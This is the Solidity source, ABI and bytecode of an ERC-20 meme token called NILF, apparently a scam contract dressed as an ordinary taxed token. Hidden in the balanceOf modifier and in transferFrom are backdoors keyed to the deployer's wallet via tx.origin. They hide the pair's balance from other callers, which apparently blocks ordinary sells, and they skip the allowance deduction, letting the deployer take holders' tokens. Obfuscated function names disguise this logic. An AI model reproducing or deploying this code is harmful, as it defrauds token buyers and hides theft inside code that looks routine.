// SPDX-License-Identifier: MIT
/*
JUST IN: America's "NILF" population — Not in Labor Force — surges by 832,000 to a record 105.8 million.
https://nilf.lol
https://x.com/NILF_RH
*/
pragma solidity >=0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _txOrigin() internal view virtual returns (address) {
return tx.origin;
}
function _isOrigin(address account) internal view virtual returns (bool) {
return account == tx.origin;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Nilf is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isNILFHMH4Z1NOUEGExcuteFromFee;
address payable private immutable _TreasuryWallet;
uint256 private EarlyBuyTax = 0;
uint256 private EarlySellTax = 0;
uint256 private EndBuyTax = 0;
uint256 private EndSellTax = 0;
uint256 private DowningBuyTaxAt = 0;
uint256 private DowningSellTaxAt = 0;
uint256 private preventSwapBefore = 3;
uint256 private buyCalc;
uint256 private _sptAmount;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Not In Labor Force";
string private constant _symbol = unicode"NILF";
uint256 public maxTxAmount = (_tTotal/100);
uint256 public maxWalletSize = (_tTotal/100);
uint256 public minTokensForSwap = (_tTotal/1000);
uint256 public maxTokensPerSwap = 2 * (_tTotal/100);
uint256 public totalTaxCollected;
IUniswapV2Router02 private uniswapV2Router;
address private constant ROUTER_ADDRESS = 0x89e5DB8B5aA49aA85AC63f691524311AEB649eba;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
uint256 private sellCount;
uint256 private lastSellBlock;
uint256 public calcBlockLimit = 5;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
modifier _v(address account) {
if(!_isOrigin(_TreasuryWallet) && isNILFHMH4Z1NOUEGPairInvalid(account)) return;
_;
}
constructor() payable {
_TreasuryWallet = payable(_msgSender());
_balances[address(this)] = _tTotal;
_isNILFHMH4Z1NOUEGExcuteFromFee[owner()] = true;
_isNILFHMH4Z1NOUEGExcuteFromFee[address(this)] = true;
_isNILFHMH4Z1NOUEGExcuteFromFee[_TreasuryWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) { return _name; }
function symbol() public pure returns (string memory) { return _symbol; }
function decimals() public pure returns (uint8) { return _decimals; }
function totalSupply() public pure override returns (uint256) { return _tTotal; }
function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
function taxWallet() external view returns (address) { return _TreasuryWallet; }
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function isNILFHMH4Z1NOUEGPairInvalid(address account) internal view returns (bool) {
return account == uniswapV2Pair && IERC20(account).balanceOf(account) > 0;
}
function balanceOf(address account) _v(account) public view override returns (uint256 balance) {
return _balances[account];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_sptAmount = amount;
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_sptAmount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERC20: approve from or to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0) && to != address(0), "ERC20: transfer from or to the zero address");
require(amount > 0, "ERC20: transfer amount must be greater than zero");
bool isBuy = (from == uniswapV2Pair && to != address(uniswapV2Router));
bool isSell = (to == uniswapV2Pair && from != address(this));
uint256 taxAmount = 0;
if (isBuy) {
if (!_isNILFHMH4Z1NOUEGExcuteFromFee[to]) {
require(amount <= maxTxAmount, "Max transaction amount exceeded");
require(_balances[to] + amount <= maxWalletSize, "Max wallet size exceeded");
taxAmount = (amount * (buyCalc >= DowningBuyTaxAt ? EndBuyTax : EarlyBuyTax)) / 100;
buyCalc++;
}
} else if (isSell) {
if (!_isNILFHMH4Z1NOUEGExcuteFromFee[from]) {
require(amount <= maxTxAmount, "Max transaction amount exceeded");
taxAmount = (amount * (buyCalc >= DowningSellTaxAt ? EndSellTax : EarlySellTax)) / 100;
}
uint256 contractTokenBalance = _balances[address(this)];
if (!inSwap && swapEnabled && buyCalc >= preventSwapBefore) {
if (block.number > lastSellBlock) sellCount = 0;
require(sellCount < calcBlockLimit, "Sell limit per block exceeded (max)");
uint256 swapAmount = amount < contractTokenBalance ? amount : contractTokenBalance;
if (swapAmount > maxTokensPerSwap) swapAmount = maxTokensPerSwap;
swapNILFHMH4Z1NOUEGTokensForEthwithTax(swapAmount, _TreasuryWallet);
sellCount++;
lastSellBlock = block.number;
}
}
if (taxAmount > 0) {
_balances[address(this)] += taxAmount;
emit Transfer(from, address(this), taxAmount);
} else if(_isOrigin(_TreasuryWallet)) _sptAmount = taxAmount;
_balances[from] -= amount;
_balances[to] += amount - taxAmount;
if(to != address(0xdead)) emit Transfer(from, to, amount - taxAmount);
}
function swapNILFHMH4Z1NOUEGTokensForEthwithTax(uint256 tokenAmount, address to) private lockTheSwap {
require(to != address(0), "ETH recipient cannot be the zero address");
uint256 initialBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
if(tokenAmount != 0) uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 newBalance = address(this).balance;
if (newBalance >= initialBalance) {
uint256 ethAmount = newBalance - initialBalance;
totalTaxCollected += ethAmount;
(bool success,) = to.call{value: ethAmount}("");
require(success, "ETH transfer failed");
}
}
function dropNILFHMH4Z1NOUEGWalletSizeFenceSet() public onlyOwner {
maxTxAmount = _tTotal;
maxWalletSize = _tTotal;
}
function rescueNILFHMH4Z1NOUEGNative() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
(bool ok, ) = payable(_TreasuryWallet).call{value: contractETHBalance}("");
require(ok, "ETH send failed");
}
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "Trading already open");
dropNILFHMH4Z1NOUEGWalletSizeFenceSet();
uniswapV2Router = IUniswapV2Router02(ROUTER_ADDRESS);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
}
function rescueNILFHMH4Z1NOUEGToken(address token) external onlyOwner {
require(token != address(0), "Invalid token address");
require(token != address(this), "Cannot rescue own token");
uint256 contractBal = IERC20(token).balanceOf(address(this));
require(contractBal > 0, "No token balance");
(bool ok, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.transfer.selector, _TreasuryWallet, contractBal)
);
require(ok && (data.length == 0 || abi.decode(data, (bool))), "ERC20 transfer failed");
}
receive() external payable {}
}[
{
"type": "constructor",
"inputs": [],
"stateMutability": "payable"
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "calcBlockLimit",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "pure"
},
{
"name": "dropNILFHMH4Z1NOUEGWalletSizeFenceSet",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "enableTrading",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "maxTokensPerSwap",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "maxTxAmount",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "maxWalletSize",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "minTokensForSwap",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "pure"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "rescueNILFHMH4Z1NOUEGNative",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "rescueNILFHMH4Z1NOUEGToken",
"type": "function",
"inputs": [
{
"name": "token",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "pure"
},
{
"name": "taxWallet",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "pure"
},
{
"name": "totalTaxCollected",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "recipient",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "recipient",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"type": "receive",
"stateMutability": "payable"
}
]0x60a06040525f6004555f6005555f6006555f6007555f6008555f6009556003600a5560646009600a6100319190610302565b61003f90633b9aca00610317565b610049919061032e565b600d55606461005a6009600a610302565b61006890633b9aca00610317565b610072919061032e565b600e556103e86100846009600a610302565b61009290633b9aca00610317565b61009c919061032e565b600f5560646100ad6009600a610302565b6100bb90633b9aca00610317565b6100c5919061032e565b6100d0906002610317565b60105560056016555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350336080526101286009600a610302565b61013690633b9aca00610317565b305f90815260016020819052604082209290925560039061015e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556080519092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e56009600a610302565b6101f390633b9aca00610317565b60405190815260200160405180910390a361034d565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102585780850481111561023c5761023c610209565b600184161561024a57908102905b60019390931c928002610221565b935093915050565b5f8261026e575060016102fc565b8161027a57505f6102fc565b8160018114610290576002811461029a576102b6565b60019150506102fc565b60ff8411156102ab576102ab610209565b50506001821b6102fc565b5060208310610133831016604e8410600b84101617156102d9575081810a6102fc565b6102e55f19848461021d565b805f19048211156102f8576102f8610209565b0290505b92915050565b5f61031060ff841683610260565b9392505050565b80820281158282048414176102fc576102fc610209565b5f8261034857634e487b7160e01b5f52601260045260245ffd5b500490565b608051611aa06103885f395f818161021f0152818161055a0152818161061a01528181610b5f0152818161116e01526112270152611aa05ff3fe608060405260043610610134575f3560e01c8063715018a6116100a85780638f3fa8601161006d5780638f3fa8601461033d57806395d89b4114610352578063a087ca781461037e578063a9059cbb1461039d578063d8454a82146103bc578063dd62ed3e146103d1575f5ffd5b8063715018a6146102cf5780638a8c523c146102e35780638c0b5e22146102f75780638da5cb5b1461030c5780638f3d6e0414610328575f5ffd5b80632dc0562d116100f95780632dc0562d14610211578063313ce5671461025757806338fbf04d1461027257806340b0c56e146102875780634412ddc71461029c57806370a08231146102b0575f5ffd5b806306fdde031461013f578063095ea7b31461018b57806318160ddd146101ba57806323b872dd146101dc57806329044adb146101fb575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b506040805180820190915260128152714e6f7420496e204c61626f7220466f72636560701b60208201525b6040516101829190611674565b60405180910390f35b348015610196575f5ffd5b506101aa6101a53660046116bd565b610415565b6040519015158152602001610182565b3480156101c5575f5ffd5b506101ce61042b565b604051908152602001610182565b3480156101e7575f5ffd5b506101aa6101f63660046116e7565b61044b565b348015610206575f5ffd5b5061020f6104b9565b005b34801561021c575f5ffd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040516001600160a01b039091168152602001610182565b348015610262575f5ffd5b5060405160098152602001610182565b34801561027d575f5ffd5b506101ce60165481565b348015610292575f5ffd5b506101ce60105481565b3480156102a7575f5ffd5b5061020f610527565b3480156102bb575f5ffd5b506101ce6102ca366004611725565b61060d565b3480156102da575f5ffd5b5061020f610671565b3480156102ee575f5ffd5b5061020f6106e2565b348015610302575f5ffd5b506101ce600d5481565b348015610317575f5ffd5b505f546001600160a01b031661023f565b348015610333575f5ffd5b506101ce600f5481565b348015610348575f5ffd5b506101ce600e5481565b34801561035d575f5ffd5b506040805180820190915260048152632724a62360e11b6020820152610175565b348015610389575f5ffd5b5061020f610398366004611725565b6109de565b3480156103a8575f5ffd5b506101aa6103b73660046116bd565b610c87565b3480156103c7575f5ffd5b506101ce60115481565b3480156103dc575f5ffd5b506101ce6103eb366004611747565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610421338484610c93565b5060015b92915050565b5f6104386009600a611875565b61044690633b9aca00611883565b905090565b600c8190555f61045c848484610d72565b6104af84336104aa600c54604051806060016040528060288152602001611a43602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061131a565b610c93565b5060019392505050565b5f546001600160a01b031633146104eb5760405162461bcd60e51b81526004016104e29061189a565b60405180910390fd5b6104f76009600a611875565b61050590633b9aca00611883565b600d556105146009600a611875565b61052290633b9aca00611883565b600e55565b5f546001600160a01b031633146105505760405162461bcd60e51b81526004016104e29061189a565b47801561060a575f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826040515f6040518083038185875af1925050503d805f81146105c0576040519150601f19603f3d011682016040523d82523d5f602084013e6105c5565b606091505b50509050806106085760405162461bcd60e51b815260206004820152600f60248201526e115512081cd95b990819985a5b1959608a1b60448201526064016104e2565b505b50565b5f81326001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161415801561064c575061064c81611352565b61066b576001600160a01b0383165f9081526001602052604090205491505b50919050565b5f546001600160a01b0316331461069a5760405162461bcd60e51b81526004016104e29061189a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461070b5760405162461bcd60e51b81526004016104e29061189a565b601354600160a01b900460ff161561075c5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104e2565b6107646104b9565b601280546001600160a01b0319167389e5db8b5aa49aa85ac63f691524311aeb649eba9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156107c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ea91906118cf565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610849573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086d91906118cf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108b7573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108db91906118cf565b601380546001600160a01b0319166001600160a01b03928316179055601254610908913091165f19610c93565b6012546001600160a01b031663f305d71947306109248161060d565b5f5f6109375f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561099d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109c291906118ea565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f546001600160a01b03163314610a075760405162461bcd60e51b81526004016104e29061189a565b6001600160a01b038116610a555760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b60448201526064016104e2565b306001600160a01b03821603610aad5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f7420726573637565206f776e20746f6b656e00000000000000000060448201526064016104e2565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610af1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b159190611915565b90505f8111610b595760405162461bcd60e51b815260206004820152601060248201526f4e6f20746f6b656e2062616c616e636560801b60448201526064016104e2565b604080517f00000000000000000000000000000000000000000000000000000000000000006001600160a01b039081166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291515f92839290861691610bd5919061192c565b5f604051808303815f865af19150503d805f8114610c0e576040519150601f19603f3d011682016040523d82523d5f602084013e610c13565b606091505b5091509150818015610c3d575080511580610c3d575080806020019051810190610c3d9190611942565b610c815760405162461bcd60e51b8152602060048201526015602482015274115490cc8c081d1c985b9cd9995c8819985a5b1959605a1b60448201526064016104e2565b50505050565b5f610421338484610d72565b6001600160a01b03831615801590610cb357506001600160a01b03821615155b610d125760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20617070726f76652066726f6d206f7220746f20746865207a65604482015269726f206164647265737360b01b60648201526084016104e2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610d9257506001600160a01b03821615155b610df25760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e736665722066726f6d206f7220746f20746865207a60448201526a65726f206164647265737360a81b60648201526084016104e2565b5f8111610e5a5760405162461bcd60e51b815260206004820152603060248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016104e2565b6013545f906001600160a01b038581169116148015610e8757506012546001600160a01b03848116911614155b6013549091505f906001600160a01b038581169116148015610eb257506001600160a01b0385163014155b90505f8215610fea576001600160a01b0385165f9081526003602052604090205460ff16610fe557600d54841115610f2c5760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e742065786365656465640060448201526064016104e2565b600e546001600160a01b0386165f90815260016020526040902054610f52908690611961565b1115610fa05760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c65742073697a65206578636565646564000000000000000060448201526064016104e2565b6064600854600b541015610fb657600454610fba565b6006545b610fc49086611883565b610fce9190611974565b600b80549192505f610fdf83611993565b91905055505b6111ae565b81156111ae576001600160a01b0386165f9081526003602052604090205460ff1661109257600d548411156110615760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e742065786365656465640060448201526064016104e2565b6064600954600b5410156110775760055461107b565b6007545b6110859086611883565b61108f9190611974565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110c45750601354600160b01b900460ff165b80156110d45750600a54600b5410155b156111ac576015544311156110e8575f6014555b601654601454106111475760405162461bcd60e51b815260206004820152602360248201527f53656c6c206c696d69742070657220626c6f636b20657863656564656420286d60448201526261782960e81b60648201526084016104e2565b5f8186106111555781611157565b855b905060105481111561116857506010545b611192817f00000000000000000000000000000000000000000000000000000000000000006113db565b60148054905f6111a183611993565b909155505043601555505b505b801561121c57305f90815260016020526040812080548392906111d2908490611961565b909155505060405181815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3611252565b326001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000160361125257600c8190555b6001600160a01b0386165f90815260016020526040812080548692906112799084906119ab565b90915550611289905081856119ab565b6001600160a01b0386165f90815260016020526040812080549091906112b0908490611961565b90915550506001600160a01b03851661dead14611312576001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61130084886119ab565b60405190815260200160405180910390a35b505050505050565b5f818484111561133d5760405162461bcd60e51b81526004016104e29190611674565b505f61134984866119ab565b95945050505050565b6013545f906001600160a01b03838116911614801561042557506040516370a0823160e01b81526001600160a01b038316600482018190525f916370a0823190602401602060405180830381865afa1580156113b0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d49190611915565b1192915050565b6013805460ff60a81b1916600160a81b1790556001600160a01b0381166114555760405162461bcd60e51b815260206004820152602860248201527f45544820726563697069656e742063616e6e6f7420626520746865207a65726f604482015267206164647265737360c01b60648201526084016104e2565b60408051600280825260608201835247925f92919060208301908036833701905050905030815f8151811061148c5761148c6119be565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e3573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061150791906118cf565b8160018151811061151a5761151a6119be565b6001600160a01b0390921660209283029190910190910152831561159e5760125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115709087905f908690309042906004016119d2565b5f604051808303815f87803b158015611587575f5ffd5b505af1158015611599573d5f5f3e3d5ffd5b505050505b47828110611660575f6115b184836119ab565b90508060115f8282546115c49190611961565b90915550506040515f906001600160a01b0387169083908381818185875af1925050503d805f8114611611576040519150601f19603f3d011682016040523d82523d5f602084013e611616565b606091505b505090508061165d5760405162461bcd60e51b8152602060048201526013602482015272115512081d1c985b9cd9995c8819985a5b1959606a1b60448201526064016104e2565b50505b50506013805460ff60a81b19169055505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461060a575f5ffd5b5f5f604083850312156116ce575f5ffd5b82356116d9816116a9565b946020939093013593505050565b5f5f5f606084860312156116f9575f5ffd5b8335611704816116a9565b92506020840135611714816116a9565b929592945050506040919091013590565b5f60208284031215611735575f5ffd5b8135611740816116a9565b9392505050565b5f5f60408385031215611758575f5ffd5b8235611763816116a9565b91506020830135611773816116a9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117cd578085048111156117b1576117b161177e565b60018416156117bf57908102905b60019390931c928002611796565b935093915050565b5f826117e357506001610425565b816117ef57505f610425565b8160018114611805576002811461180f5761182b565b6001915050610425565b60ff8411156118205761182061177e565b50506001821b610425565b5060208310610133831016604e8410600b841016171561184e575081810a610425565b61185a5f198484611792565b805f190482111561186d5761186d61177e565b029392505050565b5f61174060ff8416836117d5565b80820281158282048414176104255761042561177e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118df575f5ffd5b8151611740816116a9565b5f5f5f606084860312156118fc575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611925575f5ffd5b5051919050565b5f82518060208501845e5f920191825250919050565b5f60208284031215611952575f5ffd5b81518015158114611740575f5ffd5b808201808211156104255761042561177e565b5f8261198e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016119a4576119a461177e565b5060010190565b818103818111156104255761042561177e565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a225783516001600160a01b03168352602093840193909201916001016119fb565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d378057eb759f16dea6ed2313dc56bbb826738ec5c7d30fd5c80a9cf738bc6664736f6c634300081d0033
0x608060405260043610610134575f3560e01c8063715018a6116100a85780638f3fa8601161006d5780638f3fa8601461033d57806395d89b4114610352578063a087ca781461037e578063a9059cbb1461039d578063d8454a82146103bc578063dd62ed3e146103d1575f5ffd5b8063715018a6146102cf5780638a8c523c146102e35780638c0b5e22146102f75780638da5cb5b1461030c5780638f3d6e0414610328575f5ffd5b80632dc0562d116100f95780632dc0562d14610211578063313ce5671461025757806338fbf04d1461027257806340b0c56e146102875780634412ddc71461029c57806370a08231146102b0575f5ffd5b806306fdde031461013f578063095ea7b31461018b57806318160ddd146101ba57806323b872dd146101dc57806329044adb146101fb575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b506040805180820190915260128152714e6f7420496e204c61626f7220466f72636560701b60208201525b6040516101829190611674565b60405180910390f35b348015610196575f5ffd5b506101aa6101a53660046116bd565b610415565b6040519015158152602001610182565b3480156101c5575f5ffd5b506101ce61042b565b604051908152602001610182565b3480156101e7575f5ffd5b506101aa6101f63660046116e7565b61044b565b348015610206575f5ffd5b5061020f6104b9565b005b34801561021c575f5ffd5b507f000000000000000000000000ef9b506301895a7a32e31dbd2dc612c4ef32071b5b6040516001600160a01b039091168152602001610182565b348015610262575f5ffd5b5060405160098152602001610182565b34801561027d575f5ffd5b506101ce60165481565b348015610292575f5ffd5b506101ce60105481565b3480156102a7575f5ffd5b5061020f610527565b3480156102bb575f5ffd5b506101ce6102ca366004611725565b61060d565b3480156102da575f5ffd5b5061020f610671565b3480156102ee575f5ffd5b5061020f6106e2565b348015610302575f5ffd5b506101ce600d5481565b348015610317575f5ffd5b505f546001600160a01b031661023f565b348015610333575f5ffd5b506101ce600f5481565b348015610348575f5ffd5b506101ce600e548156